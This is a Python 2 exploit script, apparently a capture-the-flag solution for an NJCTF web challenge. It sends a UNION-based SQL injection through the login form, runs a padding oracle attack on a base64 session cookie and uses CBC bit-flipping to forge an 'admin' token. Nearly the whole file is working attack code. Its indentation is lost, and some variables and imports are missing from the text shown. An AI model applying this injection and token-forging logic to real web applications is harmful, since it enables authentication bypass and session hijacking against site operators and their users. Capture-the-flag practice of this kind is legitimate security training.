ID=""
def inject1(password):
param={'username':"' union select 'albert','{password}".format(password=password),'password':''}
result=requests.post(url,data=param)
return result
def inject_token(token):
header={"Cookie":"PHPSESSID="+phpsession+";token="+token+";ID="+ID}
result=requests.post(url,headers=header)
return result
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N,cipher):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding+cipher
print c.encode('hex')
result=inject1(base64.b64encode(chr(0)*16+c))
if "ctfer" not in result.content:
get=chr(j^i)+get
# time.sleep(0.1)
break
return get
session=inject1("aaaaa").headers['set-cookie'].split(',')
phpsession=session[0].split(";")[0][10:]
print phpsession
ID=session[1][4:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
token=session[2][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
middle=""
middle=padding_oracle(N,ID)
print "ID:"+ID.encode('base64')
print "token:"+token.encode('base64')
print "middle:"+middle.encode('base64')
print "phpsession:"+phpsession
print "n"
if(len(middle)==16):
plaintext=xor(middle,token);
print plaintext.encode('base64')
des=pad('admin',N)
tmp=""
print des.encode("base64")
for i in xrange(16):
tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
print tmp.encode('base64')
result=inject_token(base64.b64encode(tmp))
print result.content
if "flag" in result.content or "NJCTF" in result.content or 'njctf' in result.content:
input("success")